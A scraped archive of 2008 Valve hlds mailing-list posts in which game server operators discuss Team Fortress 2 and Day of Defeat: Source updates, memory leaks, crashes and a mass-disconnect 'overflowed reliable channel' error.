http://forums.alliedmods.net/showthread.php?t=73679&page=2
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Re: [hlds] Team Fortress 2/Dedicated Server Update Released

2008-07-04 Thread P. Bhandal
I've also seen a very significant improvement.

Kudos Valve!

On Fri, Jul 4, 2008 at 2:37 PM, JDoc0512 <[EMAIL PROTECTED]> wrote:

> 200~300MB lower usage on average
> doing good so far
>
> --- On Fri, 7/4/08, Mike Stiehm <[EMAIL PROTECTED]> wrote:
>
> From: Mike Stiehm <[EMAIL PROTECTED]>
> Subject: Re: [hlds] Team Fortress 2/Dedicated Server Update Released
> To: "Half-Life dedicated Win32 server mailing list" <
> hlds@list.valvesoftware.com>
> Date: Friday, July 4, 2008, 3:32 PM
>
> How is everyone doing with the memory leak?
> ___
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Re: [hlds] Client Overflowed Reliable Channel

2008-06-20 Thread P. Bhandal
Round_end always follows it, but I believe that's because everyone gets
booted from the server so round_end is automatically triggered.

I have four servers with an identical config excluding their map cycle, and
it only happens on the one server, which is my most popular server. All of
the servers have the following addons:

Eventscripts
SourceMod
Mani Admin

The server being affected is a CS: Source server.

On Fri, Jun 20, 2008 at 12:36 PM, Burton Johnsey <[EMAIL PROTECTED]>
wrote:

> Does it happen after any specific events (map change? switching teams? New
> round?) ?
>
> Does it happen on vanilla servers or servers with plugins installed?
>
> On Fri, Jun 20, 2008 at 12:05 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
>
> > I've been experiencing some problems recently with everyone on my server
> > being booted off, and the following error being logged:
> >
> > Client ## overflowed reliable channel (where # is replaced with the
> > client's
> > number).
> >
> > Here's an example:
> >
> > L 06/20/2008 - 10:25:47: "»Quink :)<3495>"
> > disconnected (reason "Client 0 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Crestor<3474>"
> > disconnected (reason "Client 1 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47:
> > "-FµßдЯ-FunnyMan-[BAMF]<3475>"
> > disconnected (reason "Client 2 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "nug<3476>"
> > disconnected (reason "Client 3 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Rage .evO<3490>"
> > disconnected (reason "Client 4 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "QWERTY<3478>"
> > disconnected
> > (reason "Client 5 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Norse<3479>"
> > disconnected (reason "Client 6 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "?**WhyDee**?<3480>"
> > disconnected (reason "Client 7 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "altarcard<3481>"
> > disconnected (reason "Client 8 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Î…Æ'ÑžÑ Î…
> > Apocalypse<3482>" disconnected (reason "Client 9
> > overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Rumplestilkin's
> > Bebe<3483>" disconnected (reason "Client
> 10
> > overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "screw<3484>" disconnected
> > (reason "Client 11 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Purple<3485>"
> > disconnected
> > (reason "Client 12 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Bryce.<3472>"
> > disconnected (reason "Client 13 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Gonnabe<3486>"
> > disconnected (reason "Client 14 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "Colide
> <3487>"
> > disconnected (reason "Client 15 overflowed reliable channel.")
> > L 06/20/2008 - 10:25:47: "$RaMpAgE$<3488>"
> > disconnected (reason "Client 16 overflowed reliable channel.")
> >
> > One time a user came on and said they were going to crash the server, and
> a
> > few minutes later the error happened. The way it's manifesting is
> > consistent
> > with that.  I'll go for weeks without the problem, and then I can have
> the
> > same issue 10 times in a row over a 30 minute period.
> >
> > Anyone have any feedback on what the issue may be? Or how to counter it?
> >
> > Thanks!
> > ___
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> > please visit:
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[hlds] Client Overflowed Reliable Channel

2008-06-20 Thread P. Bhandal
I've been experiencing some problems recently with everyone on my server
being booted off, and the following error being logged:

Client ## overflowed reliable channel (where # is replaced with the client's
number).

Here's an example:

L 06/20/2008 - 10:25:47: "»Quink :)<3495>"
disconnected (reason "Client 0 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Crestor<3474>"
disconnected (reason "Client 1 overflowed reliable channel.")
L 06/20/2008 - 10:25:47:
"-FµßдЯ-FunnyMan-[BAMF]<3475>"
disconnected (reason "Client 2 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "nug<3476>"
disconnected (reason "Client 3 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Rage .evO<3490>"
disconnected (reason "Client 4 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "QWERTY<3478>" disconnected
(reason "Client 5 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Norse<3479>"
disconnected (reason "Client 6 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "?**WhyDee**?<3480>"
disconnected (reason "Client 7 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "altarcard<3481>"
disconnected (reason "Client 8 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Î…Æ'ўс΅
Apocalypse<3482>" disconnected (reason "Client 9
overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Rumplestilkin's
Bebe<3483>" disconnected (reason "Client 10
overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "screw<3484>" disconnected
(reason "Client 11 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Purple<3485>" disconnected
(reason "Client 12 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Bryce.<3472>"
disconnected (reason "Client 13 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Gonnabe<3486>"
disconnected (reason "Client 14 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "Colide <3487>"
disconnected (reason "Client 15 overflowed reliable channel.")
L 06/20/2008 - 10:25:47: "$RaMpAgE$<3488>"
disconnected (reason "Client 16 overflowed reliable channel.")

One time a user came on and said they were going to crash the server, and a
few minutes later the error happened. The way it's manifesting is consistent
with that.  I'll go for weeks without the problem, and then I can have the
same issue 10 times in a row over a 30 minute period.

Anyone have any feedback on what the issue may be? Or how to counter it?

Thanks!
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Re: [hlds] Team Fortress 2 Update Released

2008-06-11 Thread P. Bhandal
Same here. SM and no issues.

On Wed, Jun 11, 2008 at 9:33 PM, Nicholas Hastings <[EMAIL PROTECTED]>
wrote:

> We have sourcemod on both our servers and no issues.
>
> 1nsane wrote:
> > I unloaded BM and one of the servers crashed anyways... Maybe it didn't
> > unload fully... so I removed the file itself.
> >
> > If it wasn't BM then it might Sourcemod... or maybe something else :(
> >
> > On Wed, Jun 11, 2008 at 9:13 PM, Tony Paloma <[EMAIL PROTECTED]>
> > wrote:
> >
> >
> >> I noticed this as well, but don't use BeetlesMod. Could be coincidence,
> >> or.?
> >>
> >> -Original Message-
> >> From: [EMAIL PROTECTED]
> >> [mailto:[EMAIL PROTECTED] On Behalf Of 1nsane
> >> Sent: Wednesday, June 11, 2008 5:58 PM
> >> To: [EMAIL PROTECTED]; Half-Life dedicated Win32 server mailing list
> >> Subject: Re: [hlds] Team Fortress 2 Update Released
> >>
> >> You might be able to join them but they won't show up.
> >>
> >> "Incidentally, BeetlesMod is causing server crashes on map changes
> >> Removed for now."
> >>
> >> Noticed that myself, already unloaded BM from my servers.
> >>
> >> On Wed, Jun 11, 2008 at 8:45 PM, JDoc0512 <[EMAIL PROTECTED]> wrote:
> >>
> >>
> >>> are you sure it's a required update?
> >>> I could still join my servers without updating them
> >>> I've updated client side
> >>>
> >>> --- On Wed, 6/11/08, Jason Ruymen <[EMAIL PROTECTED]> wrote:
> >>>
> >>> From: Jason Ruymen <[EMAIL PROTECTED]>
> >>> Subject: [hlds] Team Fortress 2 Update Released
> >>> To: "Half-Life dedicated Win32 server mailing list" <
> >>> hlds@list.valvesoftware.com>, [EMAIL PROTECTED],
> >>> [EMAIL PROTECTED]
> >>> Date: Wednesday, June 11, 2008, 6:28 PM
> >>>
> >>> The required update for Team Fortress 2 is now available.  Please run
> >>> hldsupdatetool to receive it.  The specific changes include:
> >>>
> >>> - Allow Mods to set which ConVars control the sv_tags settings
> >>>  -Support custom Russian TF2 fonts
> >>>
> >>> Jason
> >>>
> >>>
> >>> ___
> >>> To unsubscribe, edit your list preferences, or view the list archives,
> >>> please
> >>> visit:
> >>> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>>
> >>>
> >>>
> >>> ___
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> >>> please visit:
> >>> http://list.valvesoftware.com/mailman/listinfo/hlds
> >>>
> >>>
> >> ___
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> >> please visit:
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> >>
> >>
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> >>
> >>
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Re: [hlds] Team Fortress 2 Update Released

2008-06-11 Thread P. Bhandal
How full are they? My servers that are packed around the clock typically get
hit harder than those that aren't as popular. My scrim server doesn't have
the problem at all. There seems to be a direct correlation between the
current player numbers (as seen when calling status) and the current memory
usage.

On Wed, Jun 11, 2008 at 9:08 PM, JDoc0512 <[EMAIL PROTECTED]> wrote:

> dual x5355 windows 2k3 as well
> no memory leak whatsoever
>
> none of my servers exceed 300~350MB now
>
> --- On Wed, 6/11/08, P. Bhandal <[EMAIL PROTECTED]> wrote:
>
> From: P. Bhandal <[EMAIL PROTECTED]>
> Subject: Re: [hlds] Team Fortress 2 Update Released
> To: "Half-Life dedicated Win32 server mailing list" <
> hlds@list.valvesoftware.com>
> Date: Wednesday, June 11, 2008, 7:03 PM
>
> On a less sarcastic note from Voogru, has any progress been made in
> diagnosing and fixing the memory leaks? I've seen some of my processes
> exceed over 1 gig of ram used :O Server performance gradually worsens until
> it becomes a lagfest.
>
> We run two machines per box (E6850 with 2 gigs of ram on Windows 2k3) and
> we
> find that after two days or so the server only has about 100 - 200 megs of
> ram left. I can only wonder how bad it is for large scale GSPs.
>
> On Wed, Jun 11, 2008 at 8:55 PM, Spencer 'voogru' MacDonald <
> [EMAIL PROTECTED]> wrote:
>
> > I take that back, it might be a fix for servers getting massive memory
> > leaks
> > after only a few hours.
> >
> > The memory leaks don't happen if there are no players on the server,
> and
> > since tags on servers usually results in empty servers, massive memory
> leak
> > fixed.
> >
> > - voogru.
> >
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of JDoc0512
> > Sent: Wednesday, June 11, 2008 8:53 PM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] Team Fortress 2 Update Released
> >
> > I don't think anyone will fall into this "trap"
> > Everyone talks about everything on sourcemod forum
> >
> > --- On Wed, 6/11/08, Spencer 'voogru' MacDonald
> <[EMAIL PROTECTED] <[EMAIL PROTECTED]><[EMAIL PROTECTED]<[EMAIL PROTECTED]>
> >
> > >
> > wrote:
> >
> > From: Spencer 'voogru' MacDonald
> <[EMAIL PROTECTED] <[EMAIL PROTECTED]><[EMAIL PROTECTED]<[EMAIL PROTECTED]>
> >
> > >
> > Subject: Re: [hlds] Team Fortress 2 Update Released
> > To: "'Half-Life dedicated Win32 server mailing list'"
> > <hlds@list.valvesoftware.com <[EMAIL PROTECTED]>
> <[EMAIL PROTECTED] <[EMAIL PROTECTED]>
> >>
> > Date: Wednesday, June 11, 2008, 6:48 PM
> >
> > Sounds to me it's a feature so mod authors can tap into the tags
> system.
> >
> > So now, mod authors can define their own tags, and server operators that
> > are
> > foolish enough to run the plug-ins will have their server traffic reduced
> > by
> > 90% or more.
> >
> > - voogru.
> >
> > -Original Message-
> > From: [EMAIL PROTECTED]
> > [mailto:[EMAIL PROTECTED] On Behalf Of Nephyrin Zey
> > Sent: Wednesday, June 11, 2008 8:41 PM
> > To: Half-Life dedicated Win32 server mailing list
> > Subject: Re: [hlds] Team Fortress 2 Update Released
> >
> > Could you elablorate on what exactly that first one means? That would
> > make sense in the context of an SDK update..
> >
> > On Wed, Jun 11, 2008 at 5:28 PM, Jason Ruymen
> > <[EMAIL PROTECTED] <[EMAIL PROTECTED]>
> <[EMAIL PROTECTED] <[EMAIL PROTECTED]>>>
> > wrote:
> > > The required update for Team Fortress 2 is now available.  Please
> run
> > > hldsupdatetool to receive it.  The specific changes include:
> > >
> > > - Allow Mods to set which ConVars control the sv_tags settings
> > >  -Support custom Russian TF2 fonts
> > >
> > > Jason
> > >
> > >
> > > ___
> > > To unsubscribe, edit your list preferences, or view the list
> archives,
> > please visit:
> > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >
> <http://list.valvesoftware.com/mailman/listinfo/hlds>>;
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> > please visit:
> > http://list.valvesoftware.com/mailman/list

Re: [hlds] Team Fortress 2 Update Released

2008-06-11 Thread P. Bhandal
On a less sarcastic note from Voogru, has any progress been made in
diagnosing and fixing the memory leaks? I've seen some of my processes
exceed over 1 gig of ram used :O Server performance gradually worsens until
it becomes a lagfest.

We run two machines per box (E6850 with 2 gigs of ram on Windows 2k3) and we
find that after two days or so the server only has about 100 - 200 megs of
ram left. I can only wonder how bad it is for large scale GSPs.

On Wed, Jun 11, 2008 at 8:55 PM, Spencer 'voogru' MacDonald <
[EMAIL PROTECTED]> wrote:

> I take that back, it might be a fix for servers getting massive memory
> leaks
> after only a few hours.
>
> The memory leaks don't happen if there are no players on the server, and
> since tags on servers usually results in empty servers, massive memory leak
> fixed.
>
> - voogru.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of JDoc0512
> Sent: Wednesday, June 11, 2008 8:53 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Team Fortress 2 Update Released
>
> I don't think anyone will fall into this "trap"
> Everyone talks about everything on sourcemod forum
>
> --- On Wed, 6/11/08, Spencer 'voogru' MacDonald <[EMAIL PROTECTED]<[EMAIL 
> PROTECTED]>
> >
> wrote:
>
> From: Spencer 'voogru' MacDonald <[EMAIL PROTECTED]<[EMAIL PROTECTED]>
> >
> Subject: Re: [hlds] Team Fortress 2 Update Released
> To: "'Half-Life dedicated Win32 server mailing list'"
> >
> Date: Wednesday, June 11, 2008, 6:48 PM
>
> Sounds to me it's a feature so mod authors can tap into the tags system.
>
> So now, mod authors can define their own tags, and server operators that
> are
> foolish enough to run the plug-ins will have their server traffic reduced
> by
> 90% or more.
>
> - voogru.
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Nephyrin Zey
> Sent: Wednesday, June 11, 2008 8:41 PM
> To: Half-Life dedicated Win32 server mailing list
> Subject: Re: [hlds] Team Fortress 2 Update Released
>
> Could you elablorate on what exactly that first one means? That would
> make sense in the context of an SDK update..
>
> On Wed, Jun 11, 2008 at 5:28 PM, Jason Ruymen
> <[EMAIL PROTECTED] <[EMAIL PROTECTED]>>
> wrote:
> > The required update for Team Fortress 2 is now available.  Please run
> > hldsupdatetool to receive it.  The specific changes include:
> >
> > - Allow Mods to set which ConVars control the sv_tags settings
> >  -Support custom Russian TF2 fonts
> >
> > Jason
> >
> >
> > ___
> > To unsubscribe, edit your list preferences, or view the list archives,
> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >;
>
> ___
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> visit:
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>
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Re: [hlds] Day of Defeat: Source Beta Updated

2008-06-03 Thread P. Bhandal
I'm not sure whether you're willing to comment on this, but is there any
rough estimate for when you guys hope to take this update live?

I know a lot of us will have to swap over to SourceMod from Mani when the
update becomes permanent, and I just wanted to get a rough idea of when
we'll need to make that switch.

Thanks.

On Tue, Jun 3, 2008 at 9:21 PM, Jason Ruymen <[EMAIL PROTECTED]>
wrote:

> And because we really need clients and servers running the updated
> version, we've just made this a required update.  So please run
> hldsupdatetool again.
>
> Jason
>
> -Original Message-
> From: [EMAIL PROTECTED]
> [mailto:[EMAIL PROTECTED] On Behalf Of Jason Ruymen
> Sent: Tuesday, June 03, 2008 5:14 PM
> To: Half-Life dedicated Win32 server mailing list;
> [EMAIL PROTECTED]
> Subject: [hlds] Day of Defeat: Source Beta Updated
>
> The Day of Defeat: Source Beta has been updated.  Please run
> hldsupdatetool to receive it.  The specific changes include:
>
> - Added Steamworks stats
> - New team identifier icons as rewards for completing achievements - 1
> per class achievement, and 1 for completing all achievements
> - Added cvar dod_friendlyfiresafezone - units around the player where
> they will do no direct damage on FF on servers ( default 100 units )
> - Dropping a weapon in the spawn and changing class will now fizzle out
> the dropped weapon
> - Fixed unducking while jumping potentially getting you stuck in the
> roof
> - Player model fixes to address the 'left peek' issue
> - Fixed kb_act default binding for large map being broken
> - Marked r_screenfademinsize and r_screenfademaxsize as cheats
> - Players now respawn even if they have the class menu up - changing
> class will respawn them instantly now
> - Fixed "Don't Tread On Me" achievement triggering off of bomb defuses
> - Fixed long range rocket achievement being awarded when you kill an
> ironsight k98 or garand
> - Achievement progress now stored in steam stats
> - Fixed picking up an mg42 with an empty clip playing the wrong
> animation
> - Color change to make the local player more visible in the scoreboard
> - Achievement progress now stored in steam
> - Added more default crosshairs
> - Adjusted scoreboard to make the local player a bit more readable
>
> Jason
>
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Re: [hlds] DoD:S Beta Server Map Rotation Problem

2008-06-02 Thread P. Bhandal
I'm running mani/SM and I'm not having any issues either.

On Mon, Jun 2, 2008 at 3:56 AM, [EMAIL PROTECTED] <
[EMAIL PROTECTED]> wrote:

> im running sourcemod and haven't had any issues.
>
> Timothy Sadleir wrote:
> > Is this just happening to me?  I've got a pretty good rotation going on
> my
> > server but... Sometimes it skips some of the maps that are set to be
> next.
> > I've noticed this to to be more of a problem when it's supposed to go to
> > dod_argentan next, it just skips right over it to dod_colmar.  :(  And it
> > actually just did it *right* now to avalanche.  It usually goes from
> > dod_palermo to dod_avalanche but it skipped over avalanche and went
> straight
> > to jagd (the one I have set after avalanche).
> >
> > Would this maybe be a problem with the BeetlesMod installed or a standard
> > server issue? If it's a standard server issue can we please get this
> fixed?
> > :)  Thanks!
> > ___
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> please visit:
> > http://list.valvesoftware.com/mailman/listinfo/hlds
> >
> >
>
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Re: [hlds] Team Fortress 2 Update Coming

2008-05-02 Thread P. Bhandal
Exactly. The only change that effectively be monitored and tagged is
maxplayers, yet that's already visible in the first place. Is there anyone
out there who looks at a server with 32 slots and thinks it's anything else?

On Fri, May 2, 2008 at 3:42 PM, LDuke <[EMAIL PROTECTED]> wrote:

> Delisting might work for the maxplayers if it is implemented, but it can't
> work with other gameplay issues.  Can you imagine trying to delist every
> CSS
> server (when it goes to the Orangebox engine) that adds a tripmine, or has
> wc3 mod, or superheroes mod, etc.  There's no way they could keep up with
> delisting the incredible volume of servers for those kinds of cases.
>
> sv_tags was meant to identify those servers so players could avoid or find
> them, but if using them kills your server they will never be used in a way
> that's useful to players or server operators.
>
>
> On Fri, May 2, 2008 at 4:22 PM, James McKenna <[EMAIL PROTECTED]> wrote:
>
> > Maybe this update is to delist the custom servers. I wouldn't be
> > surprised.
> > Just in time for the free weekend.
> >
> > On Fri, May 2, 2008 at 3:16 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
> >
> > > Spot on L. Duke, it's unfortunate that Valve hasn't adopted the same
> > > common
> > > sense approach to the matter.
> > >
> > > As it is now there's an incentive to mislead players which ends up
> > making
> > > it
> > > more difficult for players to find custom servers rather than easier,
> > > which
> > > clearly isn't the goal of the custom tab. If all servers are on one
> tab
> > > and
> > > they can be sorted based on tags server owners will have a reason to
> be
> > > upfront about the modifications they're running. Servers running
> instant
> > > spawn or increased crit multipliers want players to know that they're
> > > running those addons, unfortunately with the current incarnation of
> the
> > > custom tab it's far too damaging to do so.
> > >
> > > Sadly this will just end up being another footnote of this mailing
> list.
> > > Valve will continue its crusade against the custom tab list, and the
> > > majority of server owners will continue to subvert it. Valve ends up
> > > wasting
> > > money, server owners end up wasting time which results in the players
> > > losing
> > > out the most. A lose, lose situation regardless of the angle.
> > >
> > > Implement all of the servers on a single tab and make it easy to sort
> > > through those servers. If you give all servers equivalent face time
> when
> > a
> > > user first loads up the list it will be in a server owners best
> interest
> > > to
> > > be forthcoming about the game altering plugins/hacks they are running.
> > >
> > > On Fri, May 2, 2008 at 2:23 PM, LDuke <[EMAIL PROTECTED]> wrote:
> > >
> > > > It will be pointless as long as there is incentive for plugins to
> not
> > > add
> > > > tags (like now).
> > > >
> > > > If all tags are used for is filtering/searching and the servers are
> on
> > > one
> > > > tab, then plugins that modify any aspect of the ngame would be
> likely
> > to
> > > > add
> > > > a tag so players that enjoy the plugin can find the server.  Then
> > there
> > > > would be no more CSSDM or ZM cluttering up the server name (which
> was
> > > the
> > > > reason Valve gave for implementing sv_tags in the first place.
> > > >
> > > >
> > > >
> > > > On Fri, May 2, 2008 at 2:19 PM, Ben B <[EMAIL PROTECTED]>
> > wrote:
> > > >
> > > > > I agree.  with plugins that now can change spawn times and crit
> > > > variables
> > > > > w/o changing the cvars (mp_respawnwavetime; sv_weapon_criticals)
> > that
> > > > are
> > > > > picked up by sv_tags, the custom tab is kind of pointless.
> > > > >
> > > > > On Fri, May 2, 2008 at 1:48 PM, P. Bhandal <[EMAIL PROTECTED]>
> > wrote:
> > > > >
> > > > > > You want to see 32 man servers on the internet tab as well?
> > > > > >
> > > > > > Glad to see the change of heart, Ronny boy!
> > > > > >
> > > > > > On Fri, May 2, 2008 at 12:47 PM, Ronny Schedel <
> > > [EMAIL PROTECTED]>
> > > > 

Re: [hlds] Team Fortress 2 Update Coming

2008-05-02 Thread P. Bhandal
Spot on L. Duke, it's unfortunate that Valve hasn't adopted the same common
sense approach to the matter.

As it is now there's an incentive to mislead players which ends up making it
more difficult for players to find custom servers rather than easier, which
clearly isn't the goal of the custom tab. If all servers are on one tab and
they can be sorted based on tags server owners will have a reason to be
upfront about the modifications they're running. Servers running instant
spawn or increased crit multipliers want players to know that they're
running those addons, unfortunately with the current incarnation of the
custom tab it's far too damaging to do so.

Sadly this will just end up being another footnote of this mailing list.
Valve will continue its crusade against the custom tab list, and the
majority of server owners will continue to subvert it. Valve ends up wasting
money, server owners end up wasting time which results in the players losing
out the most. A lose, lose situation regardless of the angle.

Implement all of the servers on a single tab and make it easy to sort
through those servers. If you give all servers equivalent face time when a
user first loads up the list it will be in a server owners best interest to
be forthcoming about the game altering plugins/hacks they are running.

On Fri, May 2, 2008 at 2:23 PM, LDuke <[EMAIL PROTECTED]> wrote:

> It will be pointless as long as there is incentive for plugins to not add
> tags (like now).
>
> If all tags are used for is filtering/searching and the servers are on one
> tab, then plugins that modify any aspect of the ngame would be likely to
> add
> a tag so players that enjoy the plugin can find the server.  Then there
> would be no more CSSDM or ZM cluttering up the server name (which was the
> reason Valve gave for implementing sv_tags in the first place.
>
>
>
> On Fri, May 2, 2008 at 2:19 PM, Ben B <[EMAIL PROTECTED]> wrote:
>
> > I agree.  with plugins that now can change spawn times and crit
> variables
> > w/o changing the cvars (mp_respawnwavetime; sv_weapon_criticals) that
> are
> > picked up by sv_tags, the custom tab is kind of pointless.
> >
> > On Fri, May 2, 2008 at 1:48 PM, P. Bhandal <[EMAIL PROTECTED]> wrote:
> >
> > > You want to see 32 man servers on the internet tab as well?
> > >
> > > Glad to see the change of heart, Ronny boy!
> > >
> > > On Fri, May 2, 2008 at 12:47 PM, Ronny Schedel <[EMAIL PROTECTED]>
> > > wrote:
> > >
> > > >
> > > > Yes, would be nice to see the 32 player servers and all other custom
> > > > servers
> > > > on the correct tab.
> > > >
> > > >
> > > > > Hopefully the Custom tab [EMAIL PROTECTED]
> > > > > - Original Message -
> > > > > From: "1nsane ." <[EMAIL PROTECTED]>
> > > > > To: "Half-Life dedicated Win32 server mailing list"
> > > > > 
> > > > > Sent: 2008-05-02 03:27 PM
> > > > > Subject: Re: [hlds] Team Fortress 2 Update Coming
> > > > >
> > > > >
> > > > >> More bugfixes! Yay! I'll be waiting.
> > > > >>
> > > > >> On Fri, May 2, 2008 at 3:15 PM, Jason Ruymen <
> > > [EMAIL PROTECTED]>
> > > > >> wrote:
> > > > >>
> > > > >>> Later today we'll be releasing a required Team Fortress 2
> update.
> > >  No
> > > > >>> specific timeframe yet, but we hope to have it out soon.
> > > > >>>
> > > > >>> Jason
> > > > >>>
> > > > >>> ___
> > > > >>> To unsubscribe, edit your list preferences, or view the list
> > > archives,
> > > > >>> please visit:
> > > > >>> http://list.valvesoftware.com/mailman/listinfo/hlds
> > > > >>>
> > > > >> ___
> > > > >> To unsubscribe, edit your list preferences, or view the list
> > > archives,
> > > > >> please visit:
> > > > >> http://list.valvesoftware.com/mailman/listinfo/hlds
> > > > >>
> > > > >
> > > > >
> > > > >
> > > > > ___
> > > > > To unsubscribe, edit your list preferences, or view the list
> > archives,
> > > > > pleas

Re: [hlds] Team Fortress 2 Update Coming

2008-05-02 Thread P. Bhandal
You want to see 32 man servers on the internet tab as well?

Glad to see the change of heart, Ronny boy!

On Fri, May 2, 2008 at 12:47 PM, Ronny Schedel <[EMAIL PROTECTED]>
wrote:

>
> Yes, would be nice to see the 32 player servers and all other custom
> servers
> on the correct tab.
>
>
> > Hopefully the Custom tab [EMAIL PROTECTED]
> > - Original Message -
> > From: "1nsane ." <[EMAIL PROTECTED]>
> > To: "Half-Life dedicated Win32 server mailing list"
> > 
> > Sent: 2008-05-02 03:27 PM
> > Subject: Re: [hlds] Team Fortress 2 Update Coming
> >
> >
> >> More bugfixes! Yay! I'll be waiting.
> >>
> >> On Fri, May 2, 2008 at 3:15 PM, Jason Ruymen <[EMAIL PROTECTED]>
> >> wrote:
> >>
> >>> Later today we'll be releasing a required Team Fortress 2 update.  No
> >>> specific timeframe yet, but we hope to have it out soon.
> >>>
> >>> Jason
> >>>
> >>> ___
> >>> To unsubscribe, edit your list preferences, or view the list archives,
> >>> please visit:
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> >>>
> >> ___
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> >> please visit:
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> >>
> >
> >
> >
> > ___
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> > please visit:
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> >
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Re: [hlds] Win32 Team Fortress 2 Server Update Released

2008-04-29 Thread P. Bhandal
I'm still crashing on load.

Windows Server 2003. Vanilla install.

On Tue, Apr 29, 2008 at 7:57 PM, Ian Shaffer <[EMAIL PROTECTED]>
wrote:

> Now we just need that fix for the nuke exploit!
>
> Jason Ruymen wrote:
> > The Win32 Team Fortress 2 Dedicated Server has just been updated, which
> > should fix the crash caused by the Goldrush update.
> >
> > Jason
> > ___
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> please visit:
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> >
> >
>
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Re: [hlds] Goldrush makes Server Crash!!!

2008-04-29 Thread P. Bhandal
It's not the culprit.

On Tue, Apr 29, 2008 at 6:31 PM, James McKenna <[EMAIL PROTECTED]> wrote:

> Can anyone confirm that metamod is the culprit? I want to disable that
> before I launch my servers again so we don't have a disaster.
>
> On Tue, Apr 29, 2008 at 6:30 PM, Ben B <[EMAIL PROTECTED]> wrote:
>
> > I shut off metamod, and it's working now it seems.
> >
> > On Tue, Apr 29, 2008 at 7:25 PM, 1nsane . <[EMAIL PROTECTED]> wrote:
> >
> > > Crashes on Windows Server 2003. Multiple servers no plugins at all...
> > >
> > > On Tue, Apr 29, 2008 at 9:20 PM, James McKenna <[EMAIL PROTECTED]>
> > > wrote:
> > >
> > > > That's two reports so far...
> > > >
> > > > sv_fear 1
> > > >
> > > > On Tue, Apr 29, 2008 at 6:19 PM, Ben B <[EMAIL PROTECTED]>
> > > wrote:
> > > >
> > > > > I am on Linux CentOS.
> > > > >
> > > > > 2 of my servers are updated, and I changed to goldrush, and both
> > > crashed
> > > > > when people started joining!!!
> > > > >
> > > > > --
> > > > > From Ben. B (Goerge)
> > > > > ___
> > > > > To unsubscribe, edit your list preferences, or view the list
> > archives,
> > > > > please visit:
> > > > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > > > >
> > > > ___
> > > > To unsubscribe, edit your list preferences, or view the list
> archives,
> > > > please visit:
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> > > >
> > > ___
> > > To unsubscribe, edit your list preferences, or view the list archives,
> > > please visit:
> > > http://list.valvesoftware.com/mailman/listinfo/hlds
> > >
> >
> >
> >
> > --
> > From Ben. B (Goerge)
> > ___
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Re: [hlds] Goldrush makes Server Crash!!!

2008-04-29 Thread P. Bhandal
I shut off metamod on my end and it still doesn't work, I'm running it
completely vanilla.

On Tue, Apr 29, 2008 at 6:30 PM, Ben B <[EMAIL PROTECTED]> wrote:

> I shut off metamod, and it's working now it seems.
>
> On Tue, Apr 29, 2008 at 7:25 PM, 1nsane . <[EMAIL PROTECTED]> wrote:
>
> > Crashes on Windows Server 2003. Multiple servers no plugins at all...
> >
> > On Tue, Apr 29, 2008 at 9:20 PM, James McKenna <[EMAIL PROTECTED]>
> > wrote:
> >
> > > That's two reports so far...
> > >
> > > sv_fear 1
> > >
> > > On Tue, Apr 29, 2008 at 6:19 PM, Ben B <[EMAIL PROTECTED]>
> > wrote:
> > >
> > > > I am on Linux CentOS.
> > > >
> > > > 2 of my servers are updated, and I changed to goldrush, and both
> > crashed
> > > > when people started joining!!!
> > > >
> > > > --
> > > > From Ben. B (Goerge)
> > > > ___
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> archives,
> > > > please visit:
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>
>
>
> --
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Re: [hlds] Team Fortress 2 Update Coming

2008-04-29 Thread P. Bhandal
Anyone else having problems with their servers crashing?

On Tue, Apr 29, 2008 at 6:13 PM, James McKenna <[EMAIL PROTECTED]> wrote:

> Also, are there official patch notes?
>
> On Tue, Apr 29, 2008 at 6:07 PM, James McKenna <[EMAIL PROTECTED]>
> wrote:
>
> > It is? My client isn't updating (restarted numerous times)
> >
> >
> > On Tue, Apr 29, 2008 at 6:04 PM, 1nsane . <[EMAIL PROTECTED]> wrote:
> >
> > > It's out!
> > >
> > > On Tue, Apr 29, 2008 at 8:57 PM, DontWannaName! <
> > > [EMAIL PROTECTED]>
> > > wrote:
> > >
> > > > You scared me there haha. Thought it said it was out :P Engi
> > > achievements
> > > > FTW!
> > > >
> > > >
> > > > - Original Message 
